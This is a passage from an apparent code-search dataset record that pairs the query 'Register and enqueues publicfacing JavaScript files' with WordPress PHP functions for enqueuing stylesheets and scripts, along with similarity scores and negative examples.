"function fzproject_register_styles()\n{\n // register \n //wp_register_style('zoneslider_styles', plugins_url('zoneslider/style.css', __FILE__)); \n wp_register_style('fzproject_styles_theme', plugins_url('css/style.css', __FILE__));\n // enqueue \n //wp_enqueue_style('fzproject_styles'); \n wp_enqueue_style('fzproject_styles_theme');\n}",
"function inkthemes_enqueue_styles() {\n global $themeslug, $options;\n wp_register_style($themeslug . 'storecss', get_template_directory_uri() . '/admin/theme-page-style.css');\n wp_enqueue_style($themeslug . 'storecss');\n}",
"function admin_print_styles() {\r\n global $wpi_settings, $current_screen;\r\n\r\n wp_enqueue_style('wpi-custom-jquery-ui');\r\n wp_enqueue_style('wpi-admin-css');\r\n\r\n //** Prints styles specific for this page */\r\n wp_enqueue_style('wpi-this-page-css');\r\n wp_enqueue_style('wpi-ie7');\r\n }",
"public function enqueue_styles() {\n\t\twp_enqueue_style($this->plugin_name, plugin_dir_url(__FILE__) . 'css/coinqvest.modal.css', array(), $this->version, 'all');\n\t}",
"public function config_page_styles() {\n\t\twp_enqueue_style( 'yseo-gc-admin-css', HS_DOCS_API_DIR_URL . 'css/dist/admin.css', null, HS_DOCS_API_PLUGIN_VERSION );\n\t}",
"function vacatures_single_style_scripts() {\n //wp_enqueue_style( 'vacatures-single-page-template-theme-style' );\n wp_enqueue_style('vacatures-single-page-template-theme-style',content_url( 'templates/assets/css/vacatures-single-page-template-theme-style.css' , __FILE__ ) );\n}",
"function plugin_admin_styles() {\r\n\t\t\t// used by media upload\r\n\t\t\twp_enqueue_style('thickbox');\r\n\t\t\t// Register & enqueue our admin.css file \r\n\t\t\twp_register_style('framework', $this->framework_url .'framework.css');\r\n\t\t\twp_enqueue_style('framework');\r\n\t\t\t// color picker\r\n\t\t\twp_enqueue_style( 'farbtastic' );\r\n\t\t\r\n\t\t}",
"public function enqueue_styles_footer()\n {\n wp_register_style('fast-social-sharing', plugin_dir_url(__FILE__) . 'css/fast-social-sharing-public.css', array(), false, 'all');\n wp_enqueue_style('fast-social-sharing');\n }",
"public function enqueue_styles() {\n if ( bp_is_user() ) {\n wp_enqueue_style( 'cac-bp-css', get_stylesheet_directory_uri() . '/style.css' );\n wp_enqueue_style( 'cacap-css', CACAP_PLUGIN_URL . '/assets/css/screen.css', array( 'cac-bp-css' ) );\n }\n\t}",
"function add_skid_stylesheet() { \r\n $skidStyleUrl = DT_PLUGINS_URL . '/shortcodekid/css/shortcodes.css';\r\n $skidStyleFile = DT_PLUGINS_DIR . '/shortcodekid/css/shortcodes.css';\r\n if ( file_exists($skidStyleFile) ) {\r\n wp_register_style('skidStyleSheets', $skidStyleUrl);\r\n wp_enqueue_style( 'skidStyleSheets');\r\n }\r\n }",
"function microsite_scripts_styles() {\n wp_enqueue_style('style', get_stylesheet_uri(), array(), '1.0.0');\n}",
"function enqueue_styles() { \n \n /** REGISTER css/screen.css **/ \n wp_register_style( 'screen-style', THEME_DIR . '/style.css', array(), '1', 'all' ); \n wp_enqueue_style( 'screen-style' );\n \n}",
"function sss_kk_styles() {\n\twp_register_style('kk-social-share-starter-styles', plugins_url('kk-social-share-starter.css', __FILE__));\n\twp_enqueue_style('kk-social-share-starter-styles');\n}",
"function maker_4ym_admin_styles() {\n wp_register_style( 'maker_4ym_admin_stylesheet', plugins_url( '/css/style.css',__FILE__ ) );\n wp_enqueue_style( 'maker_4ym_admin_stylesheet' );\n}",
"function taleronWP_resources(){\n\twp_enqueue_style('style', get_stylesheet_uri());\n}",
"public function load_styles() {\n\t wp_enqueue_style( 'core', get_stylesheet_uri() );\n\t\twp_enqueue_style( 'main', get_stylesheet_directory_uri() . '/assets/css/main-style.min.css' );\n\n\t\t// ADD MORE STYLE HERE ...\n\t\t\n\t}",
"function load_stylesheets() {\n\n\twp_register_style('myCSS' , get_template_directory_uri() . '/style.css', array(), false, 'all');\n\twp_enqueue_style('myCSS');\n}",
"public function vpup_load_styles() \n {\n // Enqueue our styles.\n wp_enqueue_style( 'vpup-main-styles', VPUP_URL . 'wp-vue/src/assets/css/main.css' );\n wp_enqueue_style( 'vpup-font-awesome', 'https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css' );\n }",
"function WDA_admin_css_all_page() { \n wp_register_style($handle = 'WDA_admin-css-all', $src = plugins_url('css/WDA_style.css', __FILE__), $deps = array(), $ver = '1.0.0', $media = 'all');\n wp_enqueue_style('WDA_admin-css-all');\n}",
"public function addPluginFrontendStylesheets() {\n global $laterpay_version;\n wp_register_style(\n 'laterpay-post-view',\n LATERPAY_ASSET_PATH . '/static/css/laterpay-post-view.css',\n array(),\n $laterpay_version\n );\n wp_register_style(\n 'laterpay-dialogs',\n 'https://static.sandbox.laterpaytest.net/webshell_static/client/1.0.0/laterpay-dialog/css/dialog.css'\n );\n wp_enqueue_style('laterpay-post-view');\n wp_enqueue_style('laterpay-dialogs');\n }",
"function enqueueStyles() {\r\n $version = '0.2';\r\n $mainJS = get_template_directory_uri() . '/js/dist/main.js';\r\n $mainCSS = get_template_directory_uri() . '/css/dist/main.min.css';\r\n\r\n wp_enqueue_style('style', $mainCSS, $version, true);\r\n wp_enqueue_script('script', $mainJS, $version, true);\r\n}",
"function load_css() {\n wp_register_style('main', get_template_directory_uri() . '/css/main.css', array(), false, 'all');\n wp_enqueue_style('main');\n }",
"function mokore_admin_enqueue_style(){\n\t\twp_register_style('mokore_admin_css', get_template_directory_uri() . '/inc/css/admin.css', false);\n\t\twp_enqueue_style('mokore_admin_css');\n\t}",
"function loadStyles() {\n\t\twp_register_style('hashee_styles', $this->pluginPath . 'css/hashee_styles.css');\n\t\twp_enqueue_style('hashee_styles');\n\t}",
"public function enqueue_styles () {\n wp_enqueue_style( 'wpuf-qr-code-admin-styles', plugins_url( 'css/style.css', __FILE__ ), false, date( 'Ymd' ) );\n wp_enqueue_script( 'wpuf-qr-code-admin-scripts', plugins_url( 'js/admin-script.js', __FILE__ ), array( 'jquery' ), false, true );\n }",
"function add_stylesheet() {\n wp_register_style( 'myCSS', plugins_url('google_news.css', __FILE__) );\n wp_enqueue_style( 'myCSS' );\n}",
"function ruven_register_styles() {\n\n\t$theme_version = wp_get_theme()->get( 'Version' );\n\t$env = ( wp_get_environment_type() === 'local') ? 'min.' : '';\n\n\twp_enqueue_style( 'ruven-style', get_template_directory_uri() . '/assets/css/style.'. $env .'css', array(),\n\t$theme_version );\n\twp_style_add_data( 'ruven-style', 'rtl', 'replace' );\n\n\n}",
"function addcss()\n{\nwp_register_style('ahmed_css', plugin_dir_url(__file__).'/styles-ahmed.css');\nwp_enqueue_style('ahmed_css');\n}"
]
| [
"0.76169753",
"0.7611872",
"0.7425285",
"0.74203515",
"0.7402658",
"0.73332864",
"0.73248035",
"0.73227066",
"0.7320981",
"0.7304967",
"0.7303081",
"0.72940284",
"0.7270667",
"0.72651225",
"0.7251655",
"0.72168976",
"0.7212652",
"0.71977276",
"0.71856314",
"0.717361",
"0.7167639",
"0.7159459",
"0.71578413",
"0.71573925",
"0.71377015",
"0.7134969",
"0.7126441",
"0.71253884",
"0.71217835",
"0.7117855",
"0.71133375",
"0.7107763",
"0.7104727",
"0.7079515",
"0.70794785",
"0.70763093",
"0.7070575",
"0.706594",
"0.70618635",
"0.70613706",
"0.7053612",
"0.7047862",
"0.704771",
"0.70460784",
"0.70439374",
"0.704246",
"0.70335054",
"0.7030579",
"0.7026957",
"0.70260733",
"0.702512",
"0.70243365",
"0.701942",
"0.7015572",
"0.70149255",
"0.7014773",
"0.7012162",
"0.7010861",
"0.69927233",
"0.6984418",
"0.69765484",
"0.69729346",
"0.6961625",
"0.6957765",
"0.69454056",
"0.69406503",
"0.69316256",
"0.69303155",
"0.69300777",
"0.6924504",
"0.6923722",
"0.6916385",
"0.6902036",
"0.68999743",
"0.68903893",
"0.6889218",
"0.68835294",
"0.6870138",
"0.6868706",
"0.6865081",
"0.68619156",
"0.6861004",
"0.68519694",
"0.6848801",
"0.6846405",
"0.68436044",
"0.68363166",
"0.683506",
"0.68336475",
"0.6827372",
"0.68248767",
"0.6820099",
"0.6813181",
"0.6812121",
"0.6810045",
"0.68100077",
"0.680788",
"0.6802797",
"0.6800586",
"0.6796209",
"0.6795162"
]
| 0.0 | -1 |
Register and enqueues publicfacing JavaScript files. | public function enqueue_scripts() {
wp_enqueue_script( $this->plugin_slug . '-plugin-script', plugins_url( 'js/imagelightbox.js', __FILE__ ), array( 'jquery' ), self::VERSION );
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function enqueueScripts(){}",
"public function registerScripts() {\r\n\t\t$baseUrl = Yii::app()->assetManager->publish(dirname(__FILE__).\"/assets/\".__CLASS__);\r\n\t\tYii::app()->clientScript->registerScriptFile($baseUrl.\"/AFileBrowser.js\");\r\n\t\t\r\n\t}",
"private function load_public_scripts() {\n\n\t}",
"protected function injectFromAssetManager() {\n $asset = dirname(__FILE__) .'/js/';\n $passet = Yii::app()->assetManager->publish($asset);\n $cs = Yii::app()->clientScript;\n foreach ($this->jsFiles as $jf) {\n $cs->registerScriptFile($passet . '/' . $jf, CClientScript::POS_HEAD);\n }\n }",
"public function loadPublicSideScripts()\n\t{\n\t\t$localizationArray = array(\n\t\t\t'ajax_url'\t\t=> public_url('public-ajax.php'),\n\t\t);\n\n\t\twp_enqueue_script('cit-boilerplate-public-script', CIT_PLUGIN_PUBLIC_URL.'js/cit-boilerplate-public.js', array('jquery'), CIT_PLUGIN_VERSION);\n\n\t\twp_localize_script('cit-boilerplate-public-script', '$citBoilerplate', $localizationArray);\n\t}",
"private function __register_scripts() {\n\t\t// Load all the registered scripts\n\t\t$assets_loader = new SwpmvcAssetsLoader();\n\t\t$assets = $assets_loader->fn_load_scripts();\n\n\t\t//Extract CSS Assets and put them into Registered CSS Container\n\t\t$this->registered_css = $assets[ 'css' ];\n\n\t\t//Extract JS Assets and put them into Registered JS Container\n\t\t$this->registered_js = $assets[ 'js' ];\n\n\t\t//Some cleanup\n\t\tunset($assets_loader);\n\t\tunset($assets);\n\n\t\t//Load all the common CSS and JS which will be required for all the pages.\n\t\t$this->fn_load_scripts();\n\t}",
"static function enqueue_scripts(){\n\t\tself::include_css();\n\t\tself::include_js();\n\t}",
"private function register_script() {\n\n\t\tif ( $this->inline ) {\n\t\t\twp_register_script(\n\t\t\t\t$this->handle,\n\t\t\t\t'',\n\t\t\t\t$this->deps,\n\t\t\t\t$this->ver,\n\t\t\t\t$this->footer\n\t\t\t);\n\t\t\tif ( $this->does_file_exist( $this->src ) ) {\n\t\t\t\twp_add_inline_script( $this->handle, file_get_contents( $this->src ) );\n\t\t\t}\n\t\t} else {\n\t\t\twp_register_script(\n\t\t\t\t$this->handle,\n\t\t\t\t$this->src,\n\t\t\t\t$this->deps,\n\t\t\t\t$this->ver,\n\t\t\t\t$this->footer\n\t\t\t);\n\t\t}\n\n\t\tif ( ! empty( $this->localize ) ) {\n\t\t\twp_localize_script( $this->handle, $this->handle, $this->localize );\n\t\t}\n\n\t\twp_enqueue_script( $this->handle );\n\t}",
"function pgm_public_scripts(){\n wp_register_script('ppmguru-mailing-list-js-public',plugins_url('/js/public/ppmguru-mailing-list.js',__FILE__), array('jquery'),'',true);\n wp_enqueue_script('ppmguru-mailing-list-js-public');\n}",
"public static function register_javascript(array $queue = array())\r\n\t\t{\r\n\t\t\twp_enqueue_script('media-upload');\r\n\t\t\twp_enqueue_script('thickbox');\r\n\t\t\twp_enqueue_script('icf-flexible-wh', self::get_latest_version_url() . '/js/flexible_wh.js', array('jquery'), null, true);\r\n\r\n\t\t\tif (version_compare(get_bloginfo('version'), '3.3', '>=')) {\r\n\t\t\t\twp_enqueue_script('wplink');\r\n\t\t\t\twp_enqueue_script('wpdialogs-popup');\r\n\t\t\t\twp_enqueue_script('icf-active-editor', self::get_latest_version_url() . '/js/active_editor.js', array('jquery'), null, true);\r\n\t\t\t\twp_enqueue_script('icf-quicktags', self::get_latest_version_url() . '/js/quicktags.js', array('quicktags'), null, true);\r\n\t\t\t}\r\n\r\n\t\t\tif (!wp_script_is('icf-mobiscroll', 'registered')) {\r\n\t\t\t\twp_enqueue_script('icf-mobiscroll', self::get_latest_version_url() . '/js/mobiscroll/mobiscroll-1.6.min.js', array('jquery'));\r\n\t\t\t}\r\n\r\n\t\t\tif (!wp_script_is('icf-exvalidaion', 'registered')) {\r\n\t\t\t\twp_enqueue_script('icf-exvalidation', self::get_latest_version_url() . '/js/exvalidation/exvalidation.js', array('jquery'));\r\n\t\t\t}\r\n\r\n\t\t\tif (!wp_script_is('icf-exchecker', 'registered')) {\r\n\t\t\t\t$exchecker = 'exchecker-' . get_locale() . '.js';\r\n\r\n\t\t\t\tif (!is_readable(self::get_latest_version_dir() . '/js/exvalidation/' . $exchecker)) {\r\n\t\t\t\t\t$exchecker = 'exchecker-en_US.min.js';\r\n\t\t\t\t}\r\n\r\n\t\t\t\twp_enqueue_script('icf-exchecker', self::get_latest_version_url() . '/js/exvalidation/' . $exchecker, array('jquery'));\r\n\t\t\t}\r\n\r\n\t\t\tif (!wp_script_is('icf-common', 'registered')) {\r\n\t\t\t\t$assoc = array('jquery', 'media-upload', 'thickbox', 'icf-exchecker', 'icf-mobiscroll');\r\n\r\n\t\t\t\twp_enqueue_script('icf-common', self::get_latest_version_url() . '/js/common.js', $assoc, null, true);\r\n\t\t\t\twp_localize_script('icf-common', 'icfCommonL10n', array(\r\n\t\t\t\t\t'insertToField' => __('Insert to field', 'icf'),\r\n\t\t\t\t\t'cancelText' => __('Cancel', 'icf'),\r\n\t\t\t\t\t'dateFormat' => __('mm/dd/yy', 'icf'),\r\n\t\t\t\t\t'dateOrder' => __('mmddy', 'icf'),\r\n\t\t\t\t\t'sunday' => __('Sunday', 'icf'),\r\n\t\t\t\t\t'monday' => __('Monday', 'icf'),\r\n\t\t\t\t\t'tuesday' => __('Tuesday', 'icf'),\r\n\t\t\t\t\t'wednesday' => __('Wednesday', 'icf'),\r\n\t\t\t\t\t'thursday' => __('Thursday', 'icf'),\r\n\t\t\t\t\t'friday' => __('Friday', 'icf'),\r\n\t\t\t\t\t'saturday' => __('Saturday', 'icf'),\r\n\t\t\t\t\t'sundayShort' => __('Sun', 'icf'),\r\n\t\t\t\t\t'mondayShort' => __('Mon', 'icf'),\r\n\t\t\t\t\t'tuesdayShort' => __('Tue', 'icf'),\r\n\t\t\t\t\t'wednesdayShort' => __('Wed', 'icf'),\r\n\t\t\t\t\t'thursdayShort' => __('Thu', 'icf'),\r\n\t\t\t\t\t'fridayShort' => __('Fri', 'icf'),\r\n\t\t\t\t\t'saturdayShort' => __('Sat', 'icf'),\r\n\t\t\t\t\t'dayText' => __('Day', 'icf'),\r\n\t\t\t\t\t'hourText' => __('Hours', 'icf'),\r\n\t\t\t\t\t'minuteText' => __('Minutes', 'icf'),\r\n\t\t\t\t\t'january' => __('January', 'icf'),\r\n\t\t\t\t\t'february' => __('February', 'icf'),\r\n\t\t\t\t\t'march' => __('March', 'icf'),\r\n\t\t\t\t\t'april' => __('April', 'icf'),\r\n\t\t\t\t\t'may' => _x('May', 'long', 'icf'),\r\n\t\t\t\t\t'june' => __('June', 'icf'),\r\n\t\t\t\t\t'july' => __('July', 'icf'),\r\n\t\t\t\t\t'august' => __('August', 'icf'),\r\n\t\t\t\t\t'september' => __('September', 'icf'),\r\n\t\t\t\t\t'october' => __('October', 'icf'),\r\n\t\t\t\t\t'november' => __('November', 'icf'),\r\n\t\t\t\t\t'december' => __('December', 'icf'),\r\n\t\t\t\t\t'januaryShort' => __('Jan', 'icf'),\r\n\t\t\t\t\t'februaryShort' => __('Feb', 'icf'),\r\n\t\t\t\t\t'marchShort' => __('Mar', 'icf'),\r\n\t\t\t\t\t'aprilShort' => __('Apr', 'icf'),\r\n\t\t\t\t\t'mayShort' => _x('May', 'short', 'icf'),\r\n\t\t\t\t\t'juneShort' => __('Jun', 'icf'),\r\n\t\t\t\t\t'julyShort' => __('Jul', 'icf'),\r\n\t\t\t\t\t'augustShort' => __('Aug', 'icf'),\r\n\t\t\t\t\t'septemberShort' => __('Sep', 'icf'),\r\n\t\t\t\t\t'octoberShort' => __('Oct', 'icf'),\r\n\t\t\t\t\t'november' => __('Nov', 'icf'),\r\n\t\t\t\t\t'decemberShort' => __('Dec', 'icf'),\r\n\t\t\t\t\t'monthText' => __('Month', 'icf'),\r\n\t\t\t\t\t'secText' => __('Seconds', 'icf'),\r\n\t\t\t\t\t'setText' => __('Set', 'icf'),\r\n\t\t\t\t\t'timeFormat' => __('hh:ii A', 'icf'),\r\n\t\t\t\t\t'yearText' => __('Year', 'icf')\r\n\t\t\t\t));\r\n\t\t\t}\r\n\r\n\t\t\tself::_enqueue($queue, 'script');\r\n\t\t}",
"public function register_scripts()\n {\n }",
"protected function registerScript()\n\t{\n\t $baseUrl = Yii::app()->getHomeUrl();\n\t $js_arr = array('triggmine-scripts.js');\n\t foreach($js_arr as $filename)\n\t {\n\t Yii::app()->getClientScript()->registerScriptFile('/js/vendor/'.$filename, CClientScript::POS_END);\n\t }\n\t}",
"protected function loadJavaScripts() {}",
"public function enqueue_script() {\n wp_enqueue_script('ln-publisher', plugins_url('js/publisher.js', __FILE__), array('jquery'));\n wp_enqueue_style('ln-publisher', plugins_url('css/publisher.css', __FILE__));\n wp_localize_script('ln-publisher', 'LN_publisher', array(\n 'ajax_url' => admin_url('admin-ajax.php'),\n 'charge_url' => !empty($this->options['public_url']) ? $this->options['public_url'] : $this->options['server_url']\n ));\n }",
"public function enqueue_scripts() {\n\n\t\tif ($this->js) {\n\t\t\tforeach ($this->js as $js) {\n\t\t\t\t$fileTitle = basename($js['link']);\n\t\t\t\t$fileTitle = str_replace('.js', '', $fileTitle);\n\t\t\t\t$fileTitle = preg_replace(\n\t\t\t\t\t'/[^0-9a-zA-Z]/',\n\t\t\t\t\t\"-\",\n\t\t\t\t\tstr_replace('@', '', $js['package']) . '-' . $fileTitle\n\t\t\t\t);\n\t\t\t\twp_enqueue_script($fileTitle, $js['link'], array(), $js['version']);\n\t\t\t}\n\t\t}\n\t}",
"public function queue_scripts() {\n\t\t\tif ( $queue = WPO_WCPDF_Dropbox()->hooks->get_queued_files() ) {\n\t\t\t\twp_register_script(\n\t\t\t\t\t'dropbox-queue',\n\t\t\t\t\tplugins_url( 'js/dropbox-queue.js' , dirname(__FILE__) ),\n\t\t\t\t\tarray( 'jquery', 'thickbox' )\n\t\t\t\t);\n\t\t\t\twp_enqueue_script( 'dropbox-queue' );\n\t\t\t\twp_enqueue_style( 'thickbox' );\n\t\t\t}\n\t\t}",
"public function registerScriptsFrontend() {\n $v = Wpjb_Project::VERSION;\n $p = plugins_url().'/wpjobboard/public/js/';\n \n wp_register_script('wpjb-js', $p.'frontend.js', array(\"jquery\"), $v );\n \n wp_register_script('wpjb-payment', $p.'frontend-payment.js', array(\"jquery\"), $v );\n wp_register_script('wpjb-serialize', $p.'serialize.js', array(), $v, true);\n wp_register_script('wpjb-alert', $p.'frontend-alert.js', array(\"jquery\", \"wp-util\", 'wpjb-serialize'), $v, true);\n wp_register_script('wpjb-manage', $p.'frontend-manage.js', array(\"jquery\"), $v, true);\n wp_register_script('wpjb-manage-apps', $p.'frontend-manage-apps.js', array(\"jquery\"), $v, true);\n \n wp_register_script(\"wpjb-paypal-reply\", $p.\"wpjb-paypal-reply.js\", array(\"jquery\"), $v);\n\n }",
"public function enqueue_scripts()\n\t{\n\t\twp_register_script('peepso-activitystream', $this->plugin_url . 'asset/js/activitystream.js',\n\t\t\tarray('peepso'), PeepSo::PLUGIN_VERSION, TRUE);\n\t}",
"public function register_assets() {\n\n $scripts = $this->get_scripts();\n $styles = $this->get_styles();\n\n foreach ( $scripts as $handle => $script ) {\n $deps = isset( $script['deps'] ) ? $script['deps'] : false;\n\n wp_register_script( $handle, $script['src'], $deps, $script['version'], true );\n }\n\n foreach ( $styles as $handle => $style ) {\n $deps = isset( $style['deps'] ) ? $style['deps'] : false;\n\n wp_register_style( $handle, $style['src'], $deps, $style['version'] );\n }\n\n wp_localize_script( 'cbxcf-scripts', 'cbxcfObj', [\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'error' => __( 'Something went wrong', 'cbxcustomform' ),\n ] );\n\n }",
"public function register_scripts()\r\n\t{\r\n\t\twp_register_style('poll', plugins_url('assets/poll.css', __DIR__));\r\n\t\twp_register_script('vue', 'https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js', array('jquery'), null, true);\r\n\t\twp_register_script('poll', plugins_url('assets/poll.js', __DIR__), array('vue'), null, true);\r\n\t}",
"function addJSFiles()\n\t{\n\t\t\t\t$this->getContainer()->AddJSFile(\"include/zoombox/zoombox.js\");\n\t\t$this->getJSControl();\t\n\t}",
"function enqueue_scripts() {\n\t\tinclude $this->dir_path . 'scripts.php';\n\t}",
"private function register_files() {\n\t\tif( $this->type === self::STYLE ) {\n\t\t\twp_register_style( $this->handle, $this->src, $this->settings['deps'], $this->settings['vers'], $this->settings['media'] );\n\t\t} else if ( $this->type === self::SCRIPT ) {\n\t\t\twp_register_script( $this->handle, $this->src, $this->settings['deps'], $this->settings['vers'], $this->settings['in_footer'] );\n\t\t}\n\t}",
"public function register_assets() {\n\t\t\twp_enqueue_script(\n\t\t\t\t'wp_searchermain',\n\t\t\t\tget_stylesheet_directory_uri() . '/resources/scripts/denuncias/SearcherMain.js',\n\t\t\t\tarray(),\n\t\t\t\t'1.0.0',\n\t\t\t\ttrue\n\t\t\t);\n\t\t\twp_localize_script(\n\t\t\t\t'wp_searchermain',\n\t\t\t\t'wp_searchermain',\n\t\t\t\tarray(\n\t\t\t\t\t'ajax' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t\t'nonce' => wp_create_nonce( 'auth_nonce' )\n\t\t\t\t)\n\t\t\t);\n }",
"function admin_enqueue_script(){\n\t\tglobal $postmec;\n\t\t\n\t\tif($_GET['page'] == 'stores-management'){\n\t\t\twp_enqueue_script('jquery');\n\t\t\twp_enqueue_style( 'thickbox' ); // Stylesheet used by Thickbox\n\t\t\twp_enqueue_script( 'thickbox' );\n\t\t\twp_enqueue_script( 'media-upload' );\n\t\t\twp_register_script('store-media-upload', $postmec->get_postmec_url() . 'js/plugin.media-uploader.js', array('jquery', 'thickbox', 'media-upload'));\n\t\t\twp_enqueue_script('store-media-upload');\n\t\t\n\t\t\t//wp_register_script('media-uploader-activator', $commentbar->get_this_url() . 'js/uploader.activator.js', array('jquery'));\n\t\t\t//wp_enqueue_script('media-uploader-activator');\n\t\t}\n\t}",
"public function enqueue_scripts() {\r\n\r\n\t\t}",
"public function register(){\n add_action('admin_enqueue_scripts',array($this,'enqueue'));\n //load front end wp css & js\n add_action('wp_enqueue_scripts',array($this,'enqueue'));\n }",
"private function enqueues(){\n\n\t\t\tadd_action( 'init', function(){\n\n\t\t\t\t//scripts:\n\t\t\t\t$url = Url::plugin( 'chef-sections', true ).'Assets/js/libs/';\n\t\t\t\t\n\t\t\t\tScript::register( 'isotope', $url.'isotope.min', false );\n\t\t\t\tScript::register( 'imagesloaded', $url.'imagesloaded.min', false );\n\t\t\t\tScript::register( 'autoload', $url.'autoload', false );\n\t\t\t\tScript::register( 'fitvids', $url.'fitvids.min', false );\n\n\t\t\t\t//sass:\n\t\t\t\tif( !Sass::ignore() ){\n\t\t\t\t\t\n\t\t\t\t\t$url = 'chef-sections/Assets/sass/front/';\n\t\t\t\t\t\n\t\t\t\t\tSass::register( 'sections-columns', $url.'_columns', false );\n\t\t\t\t\tSass::register( 'sections-collection', $url.'_collection', false );\n\t\t\t\t\tSass::register( 'sections-loader', $url.'_loader', false );\n\t\t\t\t\tSass::register( 'sections-socials', $url.'_socials', false );\n\t\t\t\t\tSass::register( 'sections-responsive', $url.'_responsive', false );\n\n\t\t\t\t}else{\n\n\t\t\t\t\t//we need to ignore sass and enqueue a regular css file:\n\t\t\t\t\tadd_action( 'wp_enqueue_scripts', function(){\n\n\t\t\t\t\t\twp_enqueue_style( 'chef_sections', Url::plugin( 'chef-sections', true ).'Assets/css/compiled.css' );\n\n\t\t\t\t\t});\n\n\t\t\t\t}\n\t\t\t});\n\t\t}",
"private function registerPlugins()\n\t{\n\t\t$assetDir = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR;\n\t\t$assetUrl = Yii::app()->assetManager->publish($assetDir);\n\n\n\t\t$cs = Yii::app()->getClientScript();\n\n\t\tforeach ($this->plugins as $p)\n\t\t{\n\n\t\t\tif ($p['flag'])\n\t\t\t{\n\t\t\t\tforeach ($p['js'] as $js)\n\t\t\t\t\t$cs->registerScriptFile($assetUrl . \"/\" . $js, CClientScript::POS_END);\n\t\t\t}\n\t\t}\n\t}",
"function prosody_plugin_queue_scripts ()\n{\n\n wp_enqueue_style(\n 'poem-css',\n plugin_dir_url( __FILE__ ) . 'css/poem.css',\n array(),\n null,\n false\n );\n\n wp_register_script(\n 'handlers.js',\n plugins_url('js/handlers.js', __FILE__),\n array(),\n null,\n true\n );\n // Localize the script to pass in the siteurl\n wp_localize_script('handlers.js', 'WPURLS', array( 'siteurl' => home_url() ));\n wp_enqueue_script( 'handlers.js' );\n}",
"public function enqueue_scripts() {\n\n\t}",
"public function register_frontend_assets() {\n\t\twp_enqueue_style( 'ghc-functionality', $this->plugin_dir_url( 'dist/css/style.min.css' ), array(), $this->version );\n\n\t\twp_register_script( 'ghc-content-types-filter', $this->plugin_dir_url( 'dist/js/content-types.min.js' ), array( 'jquery' ), $this->version, true );\n\n\t\twp_register_script( 'ghc-maps', $this->plugin_dir_url( 'dist/js/maps.min.js' ), array( 'jquery', 'google-maps-api' ), $this->version, true );\n\t\twp_register_script( 'google-maps-api', 'https://maps.googleapis.com/maps/api/js?key=' . get_option( 'options_api_key' ), array(), null, true ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters -- let Google Maps handle cache invalidation.\n\n\t\twp_enqueue_script( 'ghc-popups', $this->plugin_dir_url( 'dist/js/popups.min.js' ), array( 'jquery', 'popup-maker-site' ), $this->version, true );\n\n\t\twp_register_script( 'ghc-robly-lists', $this->plugin_dir_url( 'dist/js/robly-lists.min.js' ), array( 'jquery' ), $this->version, true );\n\n\t\twp_register_script( 'slick', $this->plugin_dir_url( 'dist/js/slick.min.js' ), array( 'jquery' ), $this->version, true );\n\t\twp_register_style( 'slick', $this->plugin_dir_url( 'dist/css/slick.min.css' ), array(), $this->version, false );\n\t}",
"private function define_public_hooks()\n {\n \n $this->loader->add_action('wp_enqueue_scripts','WordPress_Reactro_Public','enqueue_styles');\n $this->loader->add_action('wp_enqueue_scripts','WordPress_Reactro_Public','enqueue_scripts');\n $this->loader->add_action('admin_enqueue_scripts','WordPress_Reactro_Public','enqueue_scripts');\n $this->loader->add_action('admin_enqueue_scripts','WordPress_Reactro_Public','enqueue_styles');\n $this->loader->add_action('wp_footer','WordPress_Reactro_Public','add_popup');\n $this->loader->add_action('admin_footer','WordPress_Reactro_Public','add_popup');\n }",
"private function enqueue () {\n\n\t\t$this->add_action ('admin_enqueue_scripts', $this, 'enqueue_files' );\n\t}",
"public function attachJSFiles(&$args)\n {\n if ($this->isAppropriatePage($args['request'])) {\n $base_path = str_replace(DIRECTORY_SEPARATOR, '/', $this->getFilesPath());\n $args['js'][] = $base_path . '/vendor/es5-shim/es5-shim.js';\n $args['js'][] = $base_path . '/vendor/emojify.js/emojify.js';\n $args['js'][] = $base_path . '/js/plugin.js';\n }\n }",
"protected function register_scripts()\n {\n if ( $this->script_registered )\n return;\n\n $this->script_registered = TRUE;\n\n // add_action( 'wp_footer', 'misha_custom_internal_css' );\n \n\n wp_register_script(\n // unique handle\n $this->shortcode_class,\n // script URL\n plugin_dir_url( __FILE__ ) . '/model-populate-ajax.js',\n // dependencies\n array ( 'jquery'),\n // version\n 'v1',\n // print in footer\n TRUE\n );\n\n wp_enqueue_script( $this->shortcode_class );\n\n $data = array (\n // URL address for AJAX request\n 'ajaxUrl' => admin_url( 'admin-ajax.php' ),\n // action to trigger our callback\n 'action' => $this->ajax_action,\n // selector for jQuery\n 'democlass' => $this->shortcode_class\n );\n\n wp_localize_script( $this->shortcode_class, 'AjaxDemo', $data );\n }",
"function starkers_script_enqueuer() {\n\t\twp_register_script( 'site', get_template_directory_uri().'/js/scripts.min.js', array( 'jquery' ) );\n\t\twp_enqueue_script( 'site' );\n\n\t\twp_register_style( 'screen', get_stylesheet_directory_uri().'/style.css', '', '', 'screen' );\n\t\twp_enqueue_style( 'screen' );\n\t}",
"private function dc_define_public_hooks() {\n\n\t\t$plugin_public = new Dorancafe_Public( $this->get_plugin_name(), $this->get_version() );\n\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'dc_enqueue_styles' );\n\t\t$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'dc_enqueue_scripts' );\n\n\t}",
"public function registerScripts()\n {\n if(!wp_script_is('media-upload')):\n wp_enqueue_script('media-upload');\n endif;\n if(!wp_script_is('thickbox')):\n wp_enqueue_script('thickbox');\n endif;\n }",
"public function embed_scripts() {}",
"public function enqueue_scripts()\n {\n }",
"public function enqueue_scripts()\n {\n }",
